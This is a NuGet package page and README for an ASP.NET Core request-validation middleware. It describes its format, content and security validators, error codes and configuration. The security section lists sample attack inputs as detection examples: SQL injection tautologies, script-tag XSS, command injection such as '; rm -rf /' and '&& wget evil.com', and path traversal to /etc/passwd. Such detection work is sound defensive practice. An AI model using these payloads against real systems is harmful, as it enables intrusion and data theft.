Nedo.AspNet.Request.InputValidation 1.0.2

dotnet add package Nedo.AspNet.Request.InputValidation --version 1.0.2
                    
NuGet\Install-Package Nedo.AspNet.Request.InputValidation -Version 1.0.2
                    
This command is intended to be used within the Package Manager Console in Visual Studio, as it uses the NuGet module's version of Install-Package.
<PackageReference Include="Nedo.AspNet.Request.InputValidation" Version="1.0.2" />
                    
For projects that support PackageReference, copy this XML node into the project file to reference the package.
<PackageVersion Include="Nedo.AspNet.Request.InputValidation" Version="1.0.2" />
                    
Directory.Packages.props
<PackageReference Include="Nedo.AspNet.Request.InputValidation" />
                    
Project file
For projects that support Central Package Management (CPM), copy this XML node into the solution Directory.Packages.props file to version the package.
paket add Nedo.AspNet.Request.InputValidation --version 1.0.2
                    
#r "nuget: Nedo.AspNet.Request.InputValidation, 1.0.2"
                    
#r directive can be used in F# Interactive and Polyglot Notebooks. Copy this into the interactive tool or source code of the script to reference the package.
#:package Nedo.AspNet.Request.InputValidation@1.0.2
                    
#:package directive can be used in C# file-based apps starting in .NET 10 preview 4. Copy this into a .cs file before any lines of code to reference the package.
#addin nuget:?package=Nedo.AspNet.Request.InputValidation&version=1.0.2
                    
Install as a Cake Addin
#tool nuget:?package=Nedo.AspNet.Request.InputValidation&version=1.0.2
                    
Install as a Cake Tool

Nedo.AspNet.Request.InputValidation

Middleware-level input validation library for ASP.NET Core. Validates the format, structure, and safety of HTTP requests before model binding — catching threats that field-level validation ([Required], [Range], etc.) cannot.


Table of Contents


Why This Library?

Field-level validation ([Required], [EmailAddress], FluentValidation) validates property values after model binding. But it cannot protect against:

Threat Example
Invalid Content-Type Sending text/xml to a JSON endpoint
Malformed JSON { invalid json crashing the deserializer
Oversized Payloads 100MB body on a simple form endpoint
Deep Nesting Attacks Deeply nested JSON causing stack overflow
Invalid MIME Types Malformed Content-Type header syntax
SQL Injection ' OR 1=1 -- in query or body
XSS Attacks <script>alert('xss')</script> in input
Command Injection ; rm -rf / in request fields
Path Traversal ../../etc/passwd in file paths

Nedo.AspNet.Request.InputValidation fills this gap by validating at the HTTP pipeline level, before model binding occurs.


Where It Fits

HTTP Request
     │
     ▼
┌──────────────────────────────────────┐
│  🛡️  Request Input Validation        │ ◄── THIS LIBRARY
│  (Content-Type, JSON, Size, Format)  │
└──────────────┬───────────────────────┘
               │
               ▼
┌──────────────────────────────────────┐
│  📦  Model Binding & Deserialization │
└──────────────┬───────────────────────┘
               │
               ▼
┌──────────────────────────────────────┐
│  ✅  Field-Level Validation          │ ◄── [Required], [Range], etc.
└──────────────┬───────────────────────┘
               │
               ▼
┌──────────────────────────────────────┐
│  🎯  Controller / Endpoint Logic     │
└──────────────────────────────────────┘

Installation

dotnet add package Nedo.AspNet.Request.InputValidation

Quick Start

1. Register Services

using Nedo.AspNet.Request.InputValidation;

var builder = WebApplication.CreateBuilder(args);

// Option A: Using appsettings.json
builder.Services.AddRequestInputValidation(
    builder.Configuration.GetSection("NedoRequestInputValidation")
);

// Option B: Using code
builder.Services.AddRequestInputValidation(options =>
{
    options.EnableFormatValidators = true;
    options.MaxRequestBodySize = 10_000_000; // 10MB
    options.MaxJsonDepth = 32;
    options.AllowedContentTypes.Add("application/json");
});

2. Enable Middleware

Add the middleware to the pipeline before your endpoints:

var app = builder.Build();

app.UseRequestInputValidation(); // Add before MapControllers / MapEndpoints

app.MapControllers();
app.Run();

Configuration

Add the NedoRequestInputValidation section to your appsettings.json:

{
  "NedoRequestInputValidation": {
    "EnableFormatValidators": true,
    "EnableSecurityValidators": true,
    "MaxJsonDepth": 32,
    "MaxRequestBodySize": 10485760,
    "AllowedContentTypes": [
      "application/json",
      "multipart/form-data"
    ],
    "ExcludedPaths": [
      "/hub",
      "/signalr"
    ]
  }
}

Then bind it in Program.cs:

builder.Services.AddRequestInputValidation(
    builder.Configuration.GetSection("NedoRequestInputValidation")
);

Note: When using appsettings.json, the AllowedContentTypes list is exactly what you define — there are no hidden defaults. If you don't configure it, all content types are allowed.

Using Code

builder.Services.AddRequestInputValidation(options =>
{
    options.EnableFormatValidators = true;
    options.MaxRequestBodySize = 5_000_000;
    options.MaxJsonDepth = 10;
    options.AllowedContentTypes.Add("application/json");
    options.AllowedContentTypes.Add("multipart/form-data");
    options.ExcludedPaths.Add("/hub");
});

Configuration Options Reference

Option Type Default Description
EnableSecurityValidators bool true Enable security validators (SQL Injection, XSS, Command Injection, Path Traversal)
EnableContentValidators bool true Enable content validators (Required fields, etc.) — reserved for future phases
EnableEncodingValidators bool true Enable encoding validators (UTF-8, binary rejection) — reserved for future phases
EnableFormatValidators bool true Enable format validators (Content-Type, JSON syntax, body size)
MaxJsonDepth int 32 Maximum allowed JSON nesting depth
MaxRequestBodySize long 30,000,000 Maximum request body size in bytes (~30MB)
AllowedContentTypes List<string> [] (empty) Allowed Content-Type values. Empty = allow all
ExcludedPaths List<string> [] (empty) Request paths to skip validation (prefix match, case-insensitive)

Validators

InputFormat Validators

Controlled by EnableFormatValidators. Validate the format and structure of the HTTP request.

ContentTypeValidator

Order: 10 | Error Codes: INV-FMT-001, INV-FMT-002

Validates the Content-Type header of incoming requests.

  • Skips validation when request has no body (ContentLength is 0 or null)
  • Skips validation when AllowedContentTypes is empty (not configured)
  • Handles charset parameters (e.g., application/json; charset=utf-8 → checks application/json)

Examples:

✅ POST /api/data  Content-Type: application/json          → Passes (if "application/json" is allowed)
✅ POST /api/data  Content-Type: application/json; charset=utf-8  → Passes
❌ POST /api/data  Content-Type: text/xml                  → INV-FMT-002 (not in allowed list)
❌ POST /api/data  (no Content-Type header)                → INV-FMT-001 (missing)

MediaTypeValidator

Order: 11 | Error Code: INV-FMT-003

Validates that the Content-Type header is a syntactically valid MIME type (RFC compliant).

  • Skips validation when Content-Type is not present
  • Uses MediaTypeHeaderValue.TryParse() for RFC-compliant parsing

Examples:

✅ Content-Type: application/json       → Passes (valid syntax)
✅ Content-Type: multipart/form-data    → Passes
❌ Content-Type: invalid-format/        → INV-FMT-003 (invalid MIME syntax)

InputStreamValidator

Order: 5 | Error Code: INV-FMT-004

Validates the size of the request body based on the Content-Length header. Runs early in the pipeline to reject oversized payloads before any processing.

Examples:

✅ POST /api/data  Content-Length: 1024  (MaxRequestBodySize: 10MB) → Passes
❌ POST /api/data  Content-Length: 50MB  (MaxRequestBodySize: 10MB) → INV-FMT-004

JsonFormatValidator

Order: 20 | Error Codes: INV-FMT-005, INV-FMT-006

Validates that the request body contains valid JSON syntax before model binding attempts deserialization. Also enforces maximum nesting depth.

  • Only validates requests with Content-Type: application/json
  • Enables request body buffering so the stream can be re-read by model binding
  • Resets the stream position after validation

Examples:

✅ {"name": "John", "age": 30}              → Passes
❌ {"name": "John", "age":                   → INV-FMT-005 (invalid JSON)
❌ {"a":{"b":{"c":{"d":1}}}}  (MaxDepth: 2) → INV-FMT-005 (depth exceeded)

InputSecurity Validators

Controlled by EnableSecurityValidators. Detect and block common attack patterns by scanning query strings and JSON body values recursively.

All security validators extend BaseInputSecurityValidator, which provides:

  • Input normalization — URL-decodes (including double-encoding like %2527), collapses whitespace/newlines before matching
  • Regex timeouts — all patterns enforce a 250ms evaluation limit to prevent ReDoS attacks
  • Recursive JSON scanning — all string values in nested objects/arrays are checked
SqlInjectionValidator

Order: 100 | Error Code: INV-SEC-001

Detects SQL injection patterns in request input. Patterns require realistic SQL syntax context to minimize false positives — bare keywords like "update" or "select" in natural language are not flagged.

Detected patterns:

Category Examples
SQL statements (with identifier support) SELECT * FROM users, SELECT id FROM dbo.Users WHERE id=1, INSERT INTO [accounts](id) VALUES(1), UPDATE users SET admin=1, DELETE FROM sessions WHERE id=1, DROP TABLE IF EXISTS users
Tautology / auth bypass ' OR 1=1, ' OR 'a'='a', ' OR TRUE, ') OR (1)=(1), ' AND 1=1
Comment & termination injection ' --, '; --, ')--, ' #, ')#, standalone /* or */ tokens
Keyword splitting obfuscation SE/**/LECT, UN/**/ION, FR/**/OM
Dangerous procedures xp_cmdshell, sp_executesql, sp_oacreate, OPENROWSET(), OPENDATASOURCE()
Time-based blind injection WAITFOR DELAY (SQL Server), BENCHMARK() (MySQL), SLEEP() (MySQL), pg_sleep() (PostgreSQL)
Metadata probing INFORMATION_SCHEMA, sys.tables, sys.columns, @@version
URL-encoded bypass %27 OR 1=1 -- (decoded to ' OR 1=1 -- before matching)

Identifier support: Patterns accept plain (users), bracket-quoted ([Users]), double-quoted ("Users"), backtick-quoted (`users`), and schema-qualified (dbo.Users) identifiers.

False-positive resistance:

✅ "how to update data"              → Passes (bare keyword, no SQL syntax)
✅ "please select an option"          → Passes
✅ "delete from your diet"            → Passes (no WHERE clause)
✅ "Please select data from the list" → Passes (no SQL clause after table)
✅ "sp_help"                          → Passes (not a dangerous procedure)
✅ "drop me a line"                   → Passes (no TABLE/DATABASE after DROP)
❌ "SELECT * FROM users"              → INV-SEC-001
❌ "' OR 1=1 --"                      → INV-SEC-001
❌ "%27 OR 1=1"                       → INV-SEC-001 (URL-decoded)

XssValidator

Order: 101 | Error Code: INV-SEC-002

Detects cross-site scripting (XSS) payloads in request input. Patterns focus on high-signal HTML context to avoid false positives on generic JavaScript identifiers in plain text.

Detected patterns:

Category Examples
Script tags <script>, </script>
Inline event handlers (HTML attribute context) <img onerror=...>, <div onload="...">
Dangerous URI schemes (in HTML attributes) href="javascript:...", src="data:text/html,...", action="vbscript:..."
Injection elements <iframe>, <object>, <embed>
SVG / foreignObject <svg>, <foreignObject>
HTML entity encoding bypass &lt;script
DOM sinks (HTML context only) <... document.cookie ...>, <... window.location ...>

Examples:

✅ {"comment": "Great article!"}                        → Passes
✅ {"note": "use document.cookie in JS"}                → Passes (no HTML context)
❌ {"comment": "<script>alert('xss')</script>"}         → INV-SEC-002
❌ ?q=<img src=x onerror=alert(1)>                      → INV-SEC-002
❌ {"url": "href=\"javascript:alert(1)\""}              → INV-SEC-002

CommandInjectionValidator

Order: 102 | Error Code: INV-SEC-003

Detects OS command injection patterns in request input. This is a heuristic detector — primary defense should always be to never pass user input to a shell.

Detected patterns:

Category Examples
Shell metacharacters \|, \|\|, &&, ; followed by commands
Command chaining ; rm -rf /, \| cat /etc/passwd, && wget evil.com
Command substitution `whoami`, $(id)
Redirection & pipes > /tmp/x, 2>&1, \| sh, \| bash
Windows execution cmd /c ..., powershell -enc ..., pwsh -Command ...
Absolute shell paths /bin/sh, /bin/bash, /usr/bin/sh
Sensitive file probing /etc/passwd, /etc/shadow, /etc/hosts

Examples:

✅ {"filename": "report.pdf"}                            → Passes
✅ {"note": "use semicolons properly"}                   → Passes
❌ {"filename": "; rm -rf /"}                            → INV-SEC-003
❌ ?cmd=$(whoami)                                        → INV-SEC-003
❌ {"input": "| cat /etc/passwd"}                        → INV-SEC-003

PathTraversalValidator

Order: 103 | Error Code: INV-SEC-004

Detects directory traversal attempts in request input. Intended for fields that represent file paths or filenames.

Detected patterns:

Category Examples
Dot-segment traversal ../, ..\, /../, =/../
URL-encoded variants %2e%2e%2f, %2e%2e%5c, .%2e/, %2e./
Double-encoded variants %252e%252e
Windows drive paths C:\, D:/
UNC paths \\server\share
Linux absolute paths /etc/..., /proc/..., /sys/..., /root/..., /var/..., /home/...
Sensitive file targets /etc/passwd, /etc/shadow, /windows/system32, /boot.ini

Examples:

✅ {"path": "/images/photo.jpg"}                         → Passes
✅ {"note": "go to /home page"}                          → Passes
❌ {"path": "../../etc/passwd"}                           → INV-SEC-004
❌ ?file=%2e%2e/%2e%2e/etc/shadow                        → INV-SEC-004
❌ {"path": "C:\\windows\\system32"}                      → INV-SEC-004

InputContent Validators

Controlled by EnableContentValidators. Validate the JSON body structure before model binding using path-based rules defined in ContentValidationRules.

Configuration:

{
  "NedoRequestInputValidation": {
    "EnableContentValidators": true,
    "ContentValidationRules": {
      "/data": {
        "RequiredFields": ["name", "value"],
        "NonEmptyFields": ["name"],
        "FieldTypes": {
          "name": "string",
          "value": "number"
        },
        "AllowUnexpectedFields": false
      }
    }
  }
}
  • Rules are matched by request path prefix (case-insensitive)
  • Only application/json requests with a body are validated
  • Non-matching paths are skipped (no rule = no validation)
RequiredFieldsValidator

Order: 200 | Error Code: INV-CNT-001

Ensures all fields listed in RequiredFields exist in the JSON body.

✅ {"name": "John", "value": 42}   → Passes
❌ {"name": "John"}                 → INV-CNT-001 (missing "value")
❌ {}                                → INV-CNT-001 (missing "name" and "value")

NonEmptyFieldsValidator

Order: 201 | Error Code: INV-CNT-002

Ensures fields listed in NonEmptyFields are not null, empty (""), or whitespace-only. Missing fields are skipped (handled by RequiredFieldsValidator).

✅ {"name": "John"}                 → Passes
❌ {"name": ""}                      → INV-CNT-002
❌ {"name": null}                    → INV-CNT-002
❌ {"name": "   "}                   → INV-CNT-002

FieldDataTypesValidator

Order: 202 | Error Code: INV-CNT-003

Validates JSON value kinds match the FieldTypes map. Supported types: string, number, boolean, array, object. Null values always pass type checks (use NonEmptyFields for non-null enforcement).

✅ {"name": "John", "value": 42}   → Passes
✅ {"name": null}                   → Passes (null allowed)
❌ {"name": 123}                    → INV-CNT-003 (expected string)
❌ {"value": "forty-two"}           → INV-CNT-003 (expected number)

UnexpectedFieldsValidator

Order: 203 | Error Code: INV-CNT-004

When AllowUnexpectedFields is false, rejects any fields not defined in RequiredFields, NonEmptyFields, or FieldTypes.

✅ {"name": "John", "value": 42}   → Passes (both are known)
❌ {"name": "John", "hacker": true} → INV-CNT-004 ("hacker" not in schema)

InputStructure Validators

Controlled by EnableStructureValidators. Extend ContentValidationRules to enforce field length constraints.

ArrayFieldConstraintsValidator

Order: 300 | Error Code: INV-STR-001

Enforces maximum number of items in array fields.

"MaxArrayLengths": { "tags": 5 }
✅ {"tags": ["a", "b"]}            → Passes
❌ {"tags": ["1", "2", "3", ...]}   → INV-STR-001 (exceeds limit)
FieldLengthConstraintsValidator

Order: 301 | Error Code: INV-STR-002

Enforces maximum character length for string fields.

"MaxStringLengths": { "username": 20 }
✅ {"username": "user123"}             → Passes
❌ {"username": "very_long_name..."}   → INV-STR-002 (exceeds 20 chars)

InputEncoding Validators

Controlled by EnableEncodingValidators.

EncodingValidator

Order: 50 | Error Code: INV-ENC-001

Ensures Content-Type header specifies UTF-8 charset (or omits it).

✅ Content-Type: application/json; charset=utf-8  → Passes
❌ Content-Type: application/json; charset=iso-8859-1 → INV-ENC-001
RejectBinaryInputValidator

Order: 51 | Error Code: INV-ENC-002

Scans JSON string values for null bytes (\0) which may indicate binary data injection attempts.

✅ {"data": "text"}                 → Passes
❌ {"data": "image\u0000binary"}     → INV-ENC-002

Error Codes

InputFormat Errors

Code Validator Description
INV-FMT-001 ContentTypeValidator Content-Type header is missing
INV-FMT-002 ContentTypeValidator Content-Type is not in the allowed list
INV-FMT-003 MediaTypeValidator Content-Type has invalid MIME type syntax
INV-FMT-004 InputStreamValidator Request body exceeds maximum size
INV-FMT-005 JsonFormatValidator Invalid JSON syntax or depth exceeded
INV-FMT-006 JsonFormatValidator Unable to read request body

InputSecurity Errors

Code Validator Description
INV-SEC-001 SqlInjectionValidator Potential SQL injection detected
INV-SEC-002 XssValidator Potential XSS attack detected
INV-SEC-003 CommandInjectionValidator Potential command injection detected
INV-SEC-004 PathTraversalValidator Potential path traversal detected

InputContent Errors

Code Validator Description
INV-CNT-001 RequiredFieldsValidator Required field is missing from JSON body
INV-CNT-002 NonEmptyFieldsValidator Field is null, empty, or whitespace-only
INV-CNT-003 FieldDataTypesValidator Field value type does not match expected type
INV-CNT-004 UnexpectedFieldsValidator Unknown field not in the content schema

InputStructure Errors

Code Validator Description
INV-STR-001 ArrayFieldConstraintsValidator Array field exceeds maximum items
INV-STR-002 FieldLengthConstraintsValidator String field exceeds maximum length

InputEncoding Errors

Code Validator Description
INV-ENC-001 EncodingValidator Content-Type has unsupported charset
INV-ENC-002 RejectBinaryInputValidator Binary data (null bytes) detected

Error Response Format

When validation fails, the middleware returns 400 Bad Request with a detailed JSON response including the input data that caused the error:

{
  "success": false,
  "status_code": 400,
  "code": "ERR-VAL-STR",  // Top-level code based on error category (SEC, FMT, CNT, STR, ENC)
  "message": "Input Structure Validation failed",
  "error": [
    {
      "data": "very_long_name...", // The input value that failed validation
      "errorDetails": {
        "inputErrors": [
          {
            "code": "INV-STR-002",
            "message": "String field 'username' exceeds maximum length of 20 characters.",
            "field": "username",
            "category": "InputStructure"
          }
        ]
      }
    }
  ]
}

Top-level codes:

  • ERR-VAL-SEC: Security validation failure (Highest priority)
  • ERR-VAL-FMT: Format validation failure
  • ERR-VAL-CNT: Content schema failure
  • ERR-VAL-STR: Structure constraint failure
  • ERR-VAL-ENC: Encoding failure
  • ERR-VAL-GEN: General validation failure

Multiple errors can be returned in a single response if multiple validators detect issues.


Excluding Paths

Use ExcludedPaths to skip validation for specific routes. This is useful for:

  • SignalR hubs (/hub, /signalr) — WebSocket negotiation has different content patterns
  • Health checks (/health, /ready)
  • Static files or other non-API endpoints
{
  "NedoRequestInputValidation": {
    "ExcludedPaths": [
      "/hub",
      "/signalr",
      "/health"
    ]
  }
}

Path matching is prefix-based and case-insensitive:

  • /hub matches /hub, /hub/negotiate, /hub/stream, etc.
  • /api/internal matches /api/internal/status, /api/internal/debug, etc.

Custom Validators

You can create your own validators by implementing IRequestInputValidator:

using Microsoft.AspNetCore.Http;
using Nedo.AspNet.Request.InputValidation.Contracts;

public class CustomHeaderValidator : IRequestInputValidator
{
    public int Order => 15; // Controls execution order (lower = first)

    public Task<InputValidationResult> ValidateAsync(HttpContext context)
    {
        if (!context.Request.Headers.ContainsKey("X-Api-Key"))
        {
            return Task.FromResult(InputValidationResult.Failure(new InputValidationError
            {
                Code = "INV-CUS-001",
                Message = "X-Api-Key header is required.",
                Field = "Header:X-Api-Key",
                Category = "Custom"
            }));
        }

        return Task.FromResult(InputValidationResult.Success);
    }
}

Register it in DI:

builder.Services.AddSingleton<IRequestInputValidator, CustomHeaderValidator>();

Relationship with Field-Level Validation

Aspect Field-Level Validation Request Input Validation (This Library)
Level Property level HTTP Request / Pipeline level
When After model binding Before model binding
What Property values (string, int, DateTime) Raw request (headers, body stream)
Focus Correctness (format, range, pattern) Safety (format, size, structure)
Integration Attributes, FluentValidation Middleware
Error Codes VAL-xxx-xxx INV-xxx-xxx

Use both together for a complete validation pipeline:

Request → [Input Validation] → [Model Binding] → [Field Validation] → Controller
             🛡️ Safety            📦 Parse           ✅ Correctness       🎯 Logic

License

MIT

Product Compatible and additional computed target framework versions.
.NET net9.0 is compatible.  net9.0-android was computed.  net9.0-browser was computed.  net9.0-ios was computed.  net9.0-maccatalyst was computed.  net9.0-macos was computed.  net9.0-tvos was computed.  net9.0-windows was computed.  net10.0 was computed.  net10.0-android was computed.  net10.0-browser was computed.  net10.0-ios was computed.  net10.0-maccatalyst was computed.  net10.0-macos was computed.  net10.0-tvos was computed.  net10.0-windows was computed. 
Compatible target framework(s)
Included target framework(s) (in package)
Learn more about Target Frameworks and .NET Standard.
  • net9.0

    • No dependencies.

NuGet packages

This package is not used by any NuGet packages.

GitHub repositories

This package is not used by any popular GitHub repositories.

Version Downloads Last Updated
1.0.2 105 5/5/2026
1.0.1 180 2/13/2026
1.0.0 112 2/13/2026